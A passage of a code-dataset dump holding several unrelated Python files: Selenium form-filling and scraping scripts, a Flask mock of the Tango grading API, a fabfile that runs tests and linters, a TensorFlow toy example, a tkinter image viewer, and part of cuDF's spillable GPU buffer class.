targetFile.name + '\\n\\n')\n if len(targetFile.reliedPod):\n f.write('|Pod引用|次数|\\n|---|---|\\n')\n sortedReliedPod = sorted(targetFile.reliedPod, key=lambda pod: pod.reliedFilesCountDic[targetFile.name], reverse = True)\n for pod in sortedReliedPod:\n f.write('|' + pod.name + '|' + str(pod.reliedFilesCountDic[targetFile.name]) + '|\\n')\n\n f.write('\\n')\n\n if len(targetFile.reliedPod):\n f.write('共计Pod' + str(len(targetFile.reliedPod)) + '个\\n')\n f.write('\\n')\n\n if len(targetFile.reliedFiles):\n reliedFilesNameList=['[' + i.name + '](#' + i.name + ')' for i in targetFile.reliedFiles]\n f.write('此文件被' + ', '.join(reliedFilesNameList) + '引用\\n')\n\n f.write('\\n')\n\n f.close\n\n\ndef graph():\n\n fileNodes=[]\n podNodes=[]\n links=[]\n\n for podKey in allPods:\n pod=allPods[podKey]\n if len(pod.reliedFiles):\n podNodes.append({'name': allPods[podKey].name, 'symbolSize': 10})\n \n for targetFile in targetFiles:\n fileNodes.append({'name': targetFile.name, 'symbolSize': 25})\n for pod in targetFile.reliedPod:\n links.append({'source': targetFile.name, 'target': pod.name})\n for file in targetFile.reliedFiles:\n links.append({'source': targetFile.name, 'target': file.name})\n \n allNodes=fileNodes + podNodes\n categories=[fileNodes, podNodes]\n graph=Graph('关系图', width=1920, height=1080)\n graph.add(\n '', \n allNodes,\n links, \n categories,\n label_pos=\"right\", \n graph_repulsion=300,\n is_legend_show=False,\n line_curve=0.2,\n label_text_color=None,\n graph_layout='force',\n graph_gravity=0.1\n )\n\n graph.render()\n\ndef tree():\n\n data=[{'name':'MODEL', 'children':[]}]\n for targetFile in targetFiles:\n child=[]\n for pod in targetFile.reliedPod:\n child.append({'name': pod.name})\n data[0]['children'].append({'name': targetFile.name, 'children': child})\n\n tree=Tree('关系树', width=3000, height=2000)\n tree.add('', data)\n tree.render()\n\nif __name__ == '__main__':\n beginAnalyze()\n","sub_path":"fileRelyInPods/fileRelyInPods.py","file_name":"fileRelyInPods.py","file_ext":"py","file_size_in_byte":7738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"87426910","text":"from selenium import webdriver, common\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport csv\r\nimport os\r\n\r\n\r\n# cdriver = \"C:\\\\Users\\\\prajv\\\\Downloads\\\\chromedriver_win32\\\\chromedriver\"\r\ncdriver = os.path.abspath(os.path.join(os.path.dirname(__file__),\"chromedriver_win32\\\\chromedriver\"))\r\nprint(cdriver)\r\ndriver = webdriver.Chrome(cdriver)\r\n\r\n\r\nfield_names = ['SUB-CODE']\r\nfinal_res = []\r\n\r\n\r\n\r\nwith open('pp.csv') as csvfile:\r\n reader = csv.DictReader(csvfile)\r\n print(reader)\r\n for row in reader:\r\n usn = row['usn']\r\n driver.get(\"http:www.google.com\")\r\n search = driver.find_elements_by_xpath('//*[@id=\"tsf\"]/div[2]/div[1]/div[1]/div/div[2]/input')\r\n for i in range(len(search)):\r\n search[i].send_keys(usn, Keys.ENTER)\r\n\r\n\r\n\r\nwith open('pp_res.csv','w') as resfile:\r\n writer = csv.DictWriter(resfile,fieldnames=field_names)\r\n writer.writeheader()\r\n driver.get(\"https://www.vtu4u.com/result/1rn18is076/sem-2/rs-22?cbse=1\")\r\n find = driver.find_elements_by_xpath('//*[contains(concat( \" \", @class, \" \" ), concat( \" \", \"table-hover\", '\r\n '\" \" ))]//*[contains(concat( \" \", @class, \" \" ), concat( \" \", \"ng-binding\", '\r\n '\" \" )) and (((count(preceding-sibling::*) + 1) = 1) and parent::*)]')\r\n\r\n # writer.writeheader()\r\n for j in range(len(find)):\r\n # writer.writerow({'SUB-CODE':find[j].text})\r\n # print(find[j].text)\r\n final_res.append({'SUB-CODE':find[j].text})\r\n\r\n for row in final_res:\r\n writer.writerow(row)\r\n","sub_path":"excel_auto.py","file_name":"excel_auto.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"554114406","text":"\"\"\"\nThese are all based on an old version of the tango rest api found here:\nhttps://github.com/autolab/Tango/wiki/Tango-REST-API/570622659163e8f7dfd032808a57a18f48006667\nI wanted to use the old version of the api docs since our server is running\nan old version of tango\nYou can find the new docs here:\nhttps://autolab.github.io/docs/tango-rest/\nalso I got all of the status responses from here:\nhttps://github.com/autolab/Tango/blob/master/restful-tango/tangoREST.py#L27\nsince they're not in the docs\n\"\"\"\nfrom flask import Flask\nfrom flask import request\nfrom json import dumps, loads\nimport requests\nimport re\nimport os\napp = Flask(\"maxixe\")\n\n\n@app.route('/open///')\ndef topen(key, courselab):\n \"\"\"\n This is the function that creates a new courselabs directory in Tango\n is of course the Tango key and is the name of the new\n directory\n I called it topen to not conflict with the file I/O function 'open'\n \"\"\"\n response = {\n \"statusMsg\": \"Created directory\",\n \"statusId\": 0,\n \"files\": {},\n }\n return dumps(response)\n\n\n@app.route('/upload///', methods=['POST'])\ndef upload(key, courselab):\n \"\"\"\n This function would send a file to be stored on the Tango server\n args are the same as above with the open function\n \"\"\"\n response = {\n \"statusMsg\": \"Uploaded file\",\n \"statusId\": 0,\n }\n return dumps(response)\n\n\n# The vrfy can send a callBack URL with the addJob command that Tango will\n# send the outputFile to when the job is done.\n# Here we create a global variable so that we can use that callback url after\n# The addJob function has finished\nglobal callBackURL\ncallBackURL = \"\"\n\n\n@app.route('/addJob///', methods=['POST'])\ndef addJob(key, courselab):\n \"\"\"\n This function would run a job on the given courselab. This means it would\n add a job to the job queue and then wen the job got off the queue, Tango\n would make a docker container with the courselab in it and the call \"make\"\n in the courselab directory.\n This returns the normal status message and id, but also a jobid, which\n would be used to identify the job, but here it is just a unique integer\n that this app does not keep track of\n \"\"\"\n # set callBackURL variable if they sent a callback url\n form = loads(request.data.decode('utf8'))\n if form.get(\"callback_url\"):\n global callBackURL\n callBackURL = form.get(\"callback_url\")\n\n #print(form)\n\n # This sets a global counter if it doesn't exist\n # increments it if it does exist\n if \"jobCounter\" not in globals():\n global jobCounter\n jobCounter = 1\n else:\n jobCounter += 1\n response = {\n \"statusMsg\": \"Job added\",\n \"statusId\": 0,\n \"jobId\": jobCounter, # here we use the counter\n }\n return dumps(response)\n\n\ndef _get_sample_outputfile():\n \"\"\"\n Helper function that returns a sample outputfile for the callback and\n poll functions\n \"\"\"\n # get the file realative to this file\n filename = os.path.join(os.path.dirname(__file__), \"sample_outputFile.txt\")\n with open(filename, \"r\") as f:\n sample = f.read()\n # trim extra newlines from the beginning and end of the file\n sample = re.sub(r'^\\n+|\\n+$', \"\", sample)\n #print(sample)\n\n return sample\n\n\n@app.after_request\ndef callBack(response):\n \"\"\"\n similar to the 'poll' function below, this reads the sample output file\n and sends it to the callback url that we set above\n \"\"\"\n global callBackURL\n if callBackURL:\n files = {\"file\": _get_sample_outputfile()}\n requests.post(callBackURL, files=files)\n callBackURL = \"\"\n return response\n\n\n@app.route('/poll////')\ndef poll(key, courselab, outputFile):\n \"\"\"\n This returns the results of a given job. Normally you specify \n in addJob and then when Tango runs the job, it stores the log of that job\n in . Then, this function returns the contents of \n to you.\n\n What I did was I took one of these outputFiles and I put it in this\n directory as \"sample_outputFile.txt\" and this function just reads and\n returns that file.\n \"\"\"\n return _get_sample_outputfile()\n\n\n@app.route('/jobs///')\ndef jobs(key, deadjobs):\n \"\"\"\n If deadjobs == 0, then this would return a dictionary with a list of\n currently running jobs. vrfy uses this to see if a specific job has\n finished. If the job has finished, then it won't be in the list.\n So, this function returns an empty list so that vrfy thinks it's job is\n done\n \"\"\"\n response = {\n \"statusMsg\": \"Found list of jobs\",\n \"statusId\": 0,\n \"jobs\": [],\n }\n return dumps(response)\n","sub_path":"maxixe/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"569019635","text":"\"\"\"\nFabfile\n\"\"\"\nfrom os.path import sep\nfrom fabric.api import local\nfrom fabric.colors import cyan\n\ndef _print_block(block_description):\n \"\"\"\n Prints the block description\n \"\"\"\n separator = cyan(\"-\" * len(block_description))\n print(\"\")\n print(separator)\n print(cyan(block_description))\n print(separator)\n print(\"\")\n\ndef run_pytest():\n \"\"\"\n Run pytest\n \"\"\"\n _print_block(\"Executing unit tests\")\n local(\"coverage run --branch -m pytest\")\n generate_coverage_report()\n\ndef run_bandit():\n \"\"\"\n Run bandit\n \"\"\"\n _print_block(\"Executing bandit\")\n\n local(\"bandit -r doc_extract -x doc_extract{sep}tests\".format(sep=sep))\n\ndef run_pylint():\n \"\"\"\n Run pylint\n \"\"\"\n _print_block(\"Executing pylint\")\n local(\"pylint doc_extract\")\n\ndef generate_coverage_report():\n \"\"\"\n Generates coverage report\n \"\"\"\n target = \"./public/coverage\"\n omit = [\n \"*test*.py\",\n \"fabfile.py\",\n \"docextract**\",\n ]\n _print_block(\"Generating coverage report\")\n local(f\"coverage html -d {target} --omit={','.join(omit)}\")\n\ndef test():\n \"\"\"\n Runs the unit tests\n \"\"\"\n run_pytest()\n run_bandit()\n run_pylint()\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"400436321","text":"import wx\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.common.exceptions import NoSuchElementException, NoSuchWindowException, WebDriverException, TimeoutException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\nimport os, os.path\nfrom xml.etree import ElementTree as ET\nimport locale\nimport threading\nimport io\n\nclass FormFeeder:\n\n def __init__(self, parent, file, browser, revs, dry, wait, savemode):\n self.file = file\n self.parent = parent\n self.wfile = ''\n file, suffix = os.path.basename(self.file).split('.')\n dir = os.path.dirname(self.file)\n if file[-1] == 'R':\n self.wfile = dir + '\\\\' + file[:-1] + 'W.' + suffix\n self.cStarts = open(self.file, 'rb')\n self.starttree = ET.parse(self.cStarts)\n self.root = self.starttree.getroot()\n if len(self.wfile) > 5:\n self.cWStarts = open(self.wfile, 'rb+')\n self.writetree = ET.parse(self.cWStarts)\n self.wroot = self.writetree.getroot()\n self.xcount = len(self.root.findall('CourseStart'))\n self.ready = False\n if browser == 'Google Chrome':\n self.driver = webdriver.Chrome(service_args=[\"--log-path=chrome.log\"])\n elif browser == 'Mozilla Firefox':\n self.driver = webdriver.Firefox()\n self.revs = revs\n self.dry = dry\n self.wait = wait\n self.savemode = savemode\n\n def readysteadygo(self, lookfor, delay):\n time.sleep(delay)\n element = False\n timeout = time.time() + 20\n while element == False:\n element = self.driver.find_element_by_id(lookfor)\n if time.time() > timeout:\n self.driver.quit()\n time.sleep(delay)\n return True\n\n\n def open24Entrypage(self, url):\n self.starturl = url\n self.driver.get(self.starturl)\n\n def thread_start(self):\n th = threading.Thread(target=self.prepareFeeder)\n th.start()\n\n\n def prepareFeeder(self):\n try:\n element = self.driver.find_element_by_id('btnSaveAndNew')\n except NoSuchElementException:\n dial = wx.MessageDialog(None, 'Är du på rätt sida?', 'Info', wx.OK)\n dial.ShowModal()\n return\n except NoSuchWindowException:\n dial = wx.MessageDialog(None, 'Börja med att klicka på Öppna!', 'Info', wx.OK)\n dial.ShowModal()\n return\n self.workurl = self.driver.current_url\n self.slcdict = {}\n self.chkdict = {}\n self.datedict = {}\n self.textdict = {}\n self.fedlist = []\n i = 0\n j = self.parent.done\n for cStart in self.root.findall('CourseStart'):\n if self.wfile:\n self.wtree = self.wroot.findall('CourseStart')\n exists = os.path.isfile('./sessiondir/CONTINUE')\n if exists == False:\n dial = wx.MessageDialog(None, 'Du har valt att avbryta! Programmet kommer att avslutas.', 'Info', wx.OK)\n dial.ShowModal()\n self.cStarts.close()\n self.writeFeds()\n open('./sessiondir/ADJÖ', 'w')\n return\n if cStart.find('Fed').text == 'false':\n self.slcdict.update({'slcPeriod': cStart.find('Period').text, 'slcSchool': cStart.find('School').text, 'slcCourseCode':\n cStart.find('Name').text, 'slcExtensExportDay': cStart.find('ExtensExportDay').text})\n flexBool = eval(cStart.find('Flex').text[:1].upper() + cStart.find('Flex').text[1:])\n distanceBool = eval(cStart.find('Distance').text[:1].upper() + cStart.find('Distance').text[1:])\n self.chkdict.update({'chkFlex': flexBool, 'chkDistance': distanceBool})\n self.datedict.update({'txtStartDate': cStart.find('StartDate').text, 'txtEndDate': cStart.find('EndDate').text})\n self.textdict.update({'txtCourseGroup': cStart.find('CourseGroup').text,'txtWeeks': cStart.find('Weeks').text, 'txtStudyPoints':\n cStart.find('Points').text, 'txtComment': cStart.find('Comment').text, 'txtInfoHeadline': cStart.find('Header').text,\n 'txtCourseStartInfo': cStart.find('Startinfo').text, 'txtDaysComment': cStart.find('Studyhours').text})\n self.newtextdict = {}\n self.newslcdict = {}\n self.newchkdict = {}\n self.newdatedict = {}\n for k, v in self.textdict.items():\n if v != None:\n self.newtextdict.update({k: v})\n for k, v in self.slcdict.items():\n if v != None:\n self.newslcdict.update({k: v})\n for k, v in self.chkdict.items():\n if v != None:\n self.newchkdict.update({k: v})\n for k, v in self.datedict.items():\n if v != None:\n self.newdatedict.update({k: v})\n self.chooseSelect(self.newslcdict)\n self.boxCheck(self.newchkdict)\n self.textDate(self.newdatedict)\n self.textText(self.newtextdict)\n self.csSubmit(self.dry)\n if hasattr(self, 'wtree'):\n for child in self.wtree[j]:\n if child.tag == 'Fed':\n child.text = 'true'\n thisroot = self.writetree.getroot()\n thisroot.set(\"xmlns:xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n self.writetree.write(self.wfile, encoding=\"utf-8\", method=\"xml\")\n line = ''\n with io.open(self.wfile, 'r+', encoding='utf8') as f:\n file_data = f.read()\n f.seek(0, 0)\n f.write(line.rstrip('\\r\\n') + '\\n' + file_data)\n fedcourse = self.newtextdict['txtCourseGroup']\n open(\"./sessiondir/\" + fedcourse, 'w')\n if not self.dry:\n self.fedlist.append(str(fedcourse))\n i += 1\n j += 1\n if i >= self.revs:\n self.cStarts.close()\n self.writeFeds()\n os.remove('./sessiondir/CONTINUE')\n open('./sessiondir/ADJÖ', 'w')\n return\n #release xml and write true to Fed\n self.cStarts.close()\n self.writeFeds()\n\n #För varje funktion ska jag se till att väntetiden är optimal.\n def writeFeds(self):\n self.starttree = ET.parse(self.file)\n self.root = self.starttree.getroot()\n for fed in self.fedlist:\n for self.start in self.root.findall('CourseStart'):\n self.fednode = self.start.find('CourseGroup').text\n if self.fednode == fed:\n self.start.find('Fed').text = 'true'\n self.root.set(\"xmlns:xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n self.starttree.write(self.file, encoding=\"utf-8\", method=\"xml\")\n line = ''\n with io.open(self.file, 'r+', encoding='utf8') as f:\n file_data = f.read()\n f.seek(0, 0)\n f.write(line.rstrip('\\r\\n') + '\\n' + file_data)\n\n #Jag har valt helt fel sätt att gå vidare när jag har samma värde.\n def chooseSelect(self, dictionary):\n try:\n for k, v in dictionary.items():\n slc = Select(self.driver.find_element_by_id(k))\n if slc.first_selected_option == v and k != 'slcCourseCode':\n continue\n else:\n ready = self.readysteadygo('btnSaveAndNew', 0.5 * self.wait)\n if ready:\n slc.select_by_visible_text(v)\n except (NoSuchWindowException, WebDriverException):\n return\n\n def boxCheck(self, dictionary):\n try:\n for k, v in dictionary.items():\n chk = self.driver.find_element_by_id(k)\n if chk.is_selected() and v:\n continue\n elif not chk.is_selected() and v:\n ready = self.readysteadygo('btnSaveAndNew', 0.5 * self.wait)\n if ready:\n chk.click()\n except (NoSuchWindowException, WebDriverException):\n return\n\n def textDate(self, dictionary):\n try:\n for k, v in dictionary.items():\n dateT = self.driver.find_element_by_id(k)\n if dateT.get_attribute('value') == v:\n continue\n else:\n ready = self.readysteadygo('btnSaveAndNew', 0.5 * self.wait)\n if ready:\n dateT.clear()\n dateT.send_keys(v)\n outside = self.driver.find_element_by_id('spTitle')\n outside.click()\n except (NoSuchWindowException, WebDriverException):\n return\n\n def textText(self, dictionary):\n #print(dictionary.items())\n try:\n for k, v in dictionary.items():\n #print(k, v)\n txt = self.driver.find_element_by_id(k)\n if txt.get_attribute('value') == v:\n continue\n else:\n ready = self.readysteadygo('btnSaveAndNew', 0.5 * self.wait)\n if ready:\n txt.clear()\n txt.send_keys(v)\n except (NoSuchWindowException, WebDriverException):\n return\n\n def csSubmit(self, dry):\n if not dry:\n ready = self.readysteadygo('btnSaveAndNew', 0.5 * self.wait)\n if ready:\n submitButtons = ['btnSaveAndNew', 'btnSaveAndCopy']\n btnSave = self.driver.find_element_by_id(submitButtons[self.savemode])\n btnSave.click()\n alertText = ['Vill du spara kursen?', 'Vill du spara kursen och kopiera all data till en ny?']\n try:\n WebDriverWait(self.driver, 3).until(EC.alert_is_present())\n alert = self.driver.switch_to.alert\n if alert.text == alertText[self.savemode]:\n alert.accept()\n else:\n print(\"other alert\")\n except TimeoutException:\n pass\n else:\n ready = self.readysteadygo('btnSaveAndNew', 0.5 * self.wait)\n if ready:\n dirtime = time.strftime('%Y-%m-%d', time.localtime())\n filetime = time.strftime('%H.%M.%S', time.localtime())\n dir = './screendumps_' + dirtime + '/'\n exists = os.path.isdir(dir)\n if not exists:\n os.makedirs(dir)\n saveTo = dir + filetime + \".png\"\n result = self.driver.get_screenshot_as_file(saveTo)\n self.driver.get(self.workurl)\n\n","sub_path":"Open24FormFeeder.py","file_name":"Open24FormFeeder.py","file_ext":"py","file_size_in_byte":11497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"487455505","text":"# Just disables the warning, doesn't enable AVX/FMA\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\nimport tensorflow as tf\nimport numpy as np\n\nb = tf.Variable(tf.zeros((100,)))\nW = tf.Variable(tf.random_uniform((784, 100), -1, 1))\nx = tf.placeholder(tf.float32, (100, 784))\nh = tf.nn.relu(tf.matmul(x, W) + b)\n\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n# sess.run(h, {x:np.random.random((100, 784))})\n\nprint(h)\n\nprediction = tf.nn.softmax(h)\nlabel = tf.placeholder(tf.float32, [100,100])\ncross_entropy = -tf.reduce_sum(label*tf.log(prediction), axis=1)\n\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\nfor i in range(1000):\n batch_x = np.random.random([100,784])\n batch_label = np.random.random([100, 100])\n loss, _ = sess.run((cross_entropy, train_step), feed_dict={x:batch_x, label:batch_label})\n print('cycle {} has finished, the loss is {}'.format(i, loss))","sub_path":"jc_practice_py3.6/tf_test1.py","file_name":"tf_test1.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"353141171","text":"\"\"\"\ndisplay all images in a directory in pop-up windows\nGIFs work in basic tkinter, but JPEGs will be skipped without PIL\n\"\"\"\n\nimport os,sys\n\nfrom tkinter import *\nfrom PIL.ImageTk import PhotoImage\n\nimgdir = \"pics\"\nif len(sys.argv) > 1: imgdir = sys.argv[1]\n\nimgfiles = os.listdir(imgdir)\n\nmain = Tk()\nmain.title(\"Viewer\")\nquit = Button(main, text=\"Quit all\", command=main.destroy, font=(\"courier\"))\nquit.pack()\nsavephotos = []\n\nfor imgfile in imgfiles:\n\timgpath = os.path.join(imgdir,imgfile)\n\twin = Toplevel()\n\twin.title(imgfile)\n\ttry:\n\t\timgobj = PhotoImage(file=imgpath)\n\t\tLabel(win, image=imgobj).pack()\n\t\tprint(imgpath, imgobj.width, imgobj.height())\n\t\tsavephotos.append(imgobj)\n\texcept:\n\t\terrmsg = \"skipping %s \\n%s\" %(imgfile, sys.exc_info()[1])\n\nmain.mainloop()","sub_path":"ebook-tutorials/part-3/chapter-8/viewer-dir.py","file_name":"viewer-dir.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"460720963","text":"# Copyright (c) 2022, NVIDIA CORPORATION.\n\nfrom __future__ import annotations\n\nimport collections.abc\nimport pickle\nimport time\nimport weakref\nfrom threading import RLock\nfrom typing import TYPE_CHECKING, Any, Dict, List, Tuple, Type, TypeVar\n\nimport numpy\n\nimport rmm\n\nfrom cudf.core.buffer.buffer import Buffer, cuda_array_interface_wrapper\nfrom cudf.utils.string import format_bytes\n\nif TYPE_CHECKING:\n from cudf.core.buffer.spill_manager import SpillManager\n\n\nT = TypeVar(\"T\", bound=\"SpillableBuffer\")\n\n\nclass SpillLock:\n pass\n\n\nclass DelayedPointerTuple(collections.abc.Sequence):\n \"\"\"\n A delayed version of the \"data\" field in __cuda_array_interface__.\n\n The idea is to delay the access to `Buffer.ptr` until the user\n actually accesses the data pointer.\n\n For instance, in many cases __cuda_array_interface__ is accessed\n only to determine whether an object is a CUDA object or not.\n\n TODO: this doesn't support libraries such as PyTorch that declare\n the tuple of __cuda_array_interface__[\"data\"] in Cython. In such\n cases, Cython will raise an error because DelayedPointerTuple\n isn't a \"real\" tuple.\n \"\"\"\n\n def __init__(self, buffer) -> None:\n self._buf = buffer\n\n def __len__(self):\n return 2\n\n def __getitem__(self, i):\n if i == 0:\n return self._buf.ptr\n elif i == 1:\n return False\n raise IndexError(\"tuple index out of range\")\n\n\nclass SpillableBuffer(Buffer):\n \"\"\"A spillable buffer that implements DeviceBufferLike.\n\n This buffer supports spilling the represented data to host memory.\n Spilling can be done manually by calling `.spill(target=\"cpu\")` but\n usually the associated spilling manager triggers spilling based on current\n device memory usage see `cudf.core.buffer.spill_manager.SpillManager`.\n Unspill is triggered automatically when accessing the data of the buffer.\n\n The buffer might not be spillable, which is based on the \"expose\" status\n of the buffer. We say that the buffer has been exposed if the device\n pointer (integer or void*) has been accessed outside of SpillableBuffer.\n In this case, we cannot invalidate the device pointer by moving the data\n to host.\n\n A buffer can be exposed permanently at creation or by accessing the `.ptr`\n property. To avoid this, one can use `.get_ptr()` instead, which support\n exposing the buffer temporarily.\n\n Use the factory function `as_buffer` to create a SpillableBuffer instance.\n \"\"\"\n\n lock: RLock\n _spill_locks: weakref.WeakSet\n _last_accessed: float\n _ptr_desc: Dict[str, Any]\n _exposed: bool\n _manager: SpillManager\n\n def _finalize_init(self, ptr_desc: Dict[str, Any], exposed: bool) -> None:\n \"\"\"Finish initialization of the spillable buffer\n\n This implements the common initialization that `_from_device_memory`\n and `_from_host_memory` are missing.\n\n Parameters\n ----------\n ptr_desc : dict\n Description of the memory.\n exposed : bool, optional\n Mark the buffer as permanently exposed (unspillable).\n \"\"\"\n\n from cudf.core.buffer.spill_manager import get_global_manager\n\n self.lock = RLock()\n self._spill_locks = weakref.WeakSet()\n self._last_accessed = time.monotonic()\n self._ptr_desc = ptr_desc\n self._exposed = exposed\n manager = get_global_manager()\n if manager is None:\n raise ValueError(\n f\"cannot create {self.__class__} without \"\n \"a global spill manager\"\n )\n\n self._manager = manager\n self._manager.add(self)\n\n @classmethod\n def _from_device_memory(\n cls: Type[T], data: Any, *, exposed: bool = False\n ) -> T:\n \"\"\"Create a spillabe buffer from device memory.\n\n No data is being copied.\n\n Parameters\n ----------\n data : device-buffer-like\n An object implementing the CUDA Array Interface.\n exposed : bool, optional\n Mark the buffer as permanently exposed (unspillable).\n\n Returns\n -------\n SpillableBuffer\n Buffer representing the same device memory as `data`\n \"\"\"\n ret = super()._from_device_memory(data)\n ret._finalize_init(ptr_desc={\"type\": \"gpu\"}, exposed=exposed)\n return ret\n\n @classmethod\n def _from_host_memory(cls: Type[T], data: Any) -> T:\n \"\"\"Create a spillabe buffer from host memory.\n\n Data must implement `__array_interface__`, the buffer protocol, and/or\n be convertible to a buffer object using `numpy.array()`\n\n The new buffer is marked as spilled to host memory already.\n\n Raises ValueError if array isn't C-contiguous.\n\n Parameters\n ----------\n data : Any\n An object that represens host memory.\n\n Returns\n -------\n SpillableBuffer\n Buffer representing a copy of `data`.\n \"\"\"\n\n # Convert to a memoryview using numpy array, this will not copy data\n # in most cases.\n data = memoryview(numpy.array(data, copy=False, subok=True))\n if not data.c_contiguous:\n raise ValueError(\"Buffer data must be C-contiguous\")\n data = data.cast(\"B\") # Make sure itemsize==1\n\n # Create an already spilled buffer\n ret = cls.__new__(cls)\n ret._owner = None\n ret._ptr = 0\n ret._size = data.nbytes\n ret._finalize_init(\n ptr_desc={\"type\": \"cpu\", \"memoryview\": data}, exposed=False\n )\n return ret\n\n @property\n def is_spilled(self) -> bool:\n return self._ptr_desc[\"type\"] != \"gpu\"\n\n def spill(self, target: str = \"cpu\") -> None:\n \"\"\"Spill or un-spill this buffer in-place\n\n Parameters\n ----------\n target : str\n The target of the spilling.\n \"\"\"\n\n time_start = time.perf_counter()\n with self.lock:\n ptr_type = self._ptr_desc[\"type\"]\n if ptr_type == target:\n return\n\n if not self.spillable:\n raise ValueError(\n f\"Cannot in-place move an unspillable buffer: {self}\"\n )\n\n if (ptr_type, target) == (\"gpu\", \"cpu\"):\n host_mem = memoryview(bytearray(self.size))\n rmm._lib.device_buffer.copy_ptr_to_host(self._ptr, host_mem)\n self._ptr_desc[\"memoryview\"] = host_mem\n self._ptr = 0\n self._owner = None\n elif (ptr_type, target) == (\"cpu\", \"gpu\"):\n # Notice, this operation is prone to deadlock because the RMM\n # allocation might trigger spilling-on-demand which in turn\n # trigger a new call to this buffer's `spill()`.\n # Therefore, it is important that spilling-on-demand doesn't\n # try to unspill an already locked buffer!\n dev_mem = rmm.DeviceBuffer.to_device(\n self._ptr_desc.pop(\"memoryview\")\n )\n self._ptr = dev_mem.ptr\n self._owner = dev_mem\n assert self._size == dev_mem.size\n else:\n # TODO: support moving to disk\n raise ValueError(f\"Unknown target: {target}\")\n self._ptr_desc[\"type\"] = target\n\n time_end = time.perf_counter()\n self._manager.statistics.log_spill(\n src=ptr_type,\n dst=target,\n nbytes=self.size,\n time=time_end - time_start,\n )\n\n @property\n def ptr(self) -> int:\n \"\"\"Access the memory directly\n\n Notice, this will mark the buffer as \"exposed\" and make\n it unspillable permanently.\n\n Consider using `.get_ptr()` instead.\n \"\"\"\n\n self._manager.spill_to_device_limit()\n with self.lock:\n if not self._exposed:\n self._manager.statistics.log_expose(self)\n self.spill(target=\"gpu\")\n self._exposed = True\n self._last_accessed = time.monotonic()\n return self._ptr\n\n def spill_lock(self, spill_lock: SpillLock) -> None:\n \"\"\"Spill lock the buffer\n\n Mark the buffer as unspillable while `spill_lock` is alive,\n which is tracked by monitoring a weakref to `spill_lock`.\n\n Parameters\n ----------\n spill_lock : SpillLock\n The object that defines the scope of the lock.\n \"\"\"\n\n if spill_lock is None:\n spill_lock = SpillLock()\n with self.lock:\n self.spill(target=\"gpu\")\n self._spill_locks.add(spill_lock)\n\n def get_ptr(self, spill_lock: SpillLock = None) -> int:\n \"\"\"Get a device pointer to the memory of the buffer.\n\n If spill_lock is not None, a reference to this buffer is added\n to spill_lock, which disable spilling of this buffer while\n spill_lock is alive.\n\n Parameters\n ----------\n spill_lock : SpillLock, optional\n Adding a reference of this buffer to the spill lock.\n\n Return\n ------\n int\n The device pointer as an integer\n \"\"\"\n\n if spill_lock is None:\n return self.ptr # expose the buffer permanently\n\n self.spill_lock(spill_lock)\n self._last_accessed = time.monotonic()\n return self._ptr\n\n @property\n def owner(self) -> Any:\n return self._owner\n\n @property\n def exposed(self) -> bool:\n return self._exposed\n\n @property\n def spillable(self) -> bool:\n return not self._exposed and len(self._spill_locks) == 0\n\n @property\n def size(self) -> int:\n return self._size\n\n @property\n def nbytes(self) -> int:\n return self._size\n\n @property\n def last_accessed(self) -> float:\n return self._last_accessed\n\n @property\n def __cuda_array_interface__(self) -> dict:\n return {\n \"data\": DelayedPointerTuple(self),\n \"shape\": (self.size,),\n \"strides\": None,\n \"typestr\": \"|u1\",\n \"version\": 0,\n }\n\n def memoryview(self, *, offset: int = 0, size: int = None) -> memoryview:\n size = self._size if size is None else size\n with self.lock:\n if self.spillable:\n self.spill(target=\"cpu\")\n return self._ptr_desc[\"memoryview\"][offset : offset + size]\n else:\n assert self._ptr_desc[\"type\"] == \"gpu\"\n ret = memoryview(bytearray(size))\n rmm._lib.device_buffer.copy_ptr_to_host(\n self._ptr + offset, ret\n )\n return ret\n\n def _getitem(self, offset: int, size: int) -> Buffer:\n return SpillableBufferSlice(base=self, offset=offset, size=size)\n\n def serialize(self) -> Tuple[dict, list]:\n \"\"\"Serialize the Buffer\n\n Normally, we would use `[self]` as the frames. This would work but\n also mean that `self` becomes exposed permanently if the frames are\n later accessed through `__cuda_array_interface__`, which is exactly\n what libraries like Dask+UCX would do when communicating!\n\n The sound solution is to modify Dask et al. so that they access the\n frames through `.get_ptr()` and holds on to the `spill_lock` until\n the frame has been transferred. However, until this adaptation we\n use a hack where the frame is a `Buffer` with a `spill_lock` as the\n owner, which makes `self` unspillable while the frame is alive but\n doesn't expose `self` when `__cuda_array_interface__` is accessed.\n\n Warning, this hack means that the returned frame must be copied before\n given to `.deserialize()`, otherwise we would have a `Buffer` pointing\n to memory already owned by an existing `SpillableBuffer`.\n \"\"\"\n header: Dict[Any, Any]\n frames: List[Buffer | memoryview]\n with self.lock:\n header = {}\n header[\"type-serialized\"] = pickle.dumps(self.__class__)\n header[\"frame_count\"] = 1\n if self.is_spilled:\n frames = [self.memoryview()]\n else:\n # TODO: Use `frames=[self]` instead of this hack, see doc above\n spill_lock = SpillLock()\n ptr = self.get_ptr(spill_lock=spill_lock)\n frames = [\n Buffer._from_device_memory(\n cuda_array_interface_wrapper(\n ptr=ptr,\n size=self.size,\n 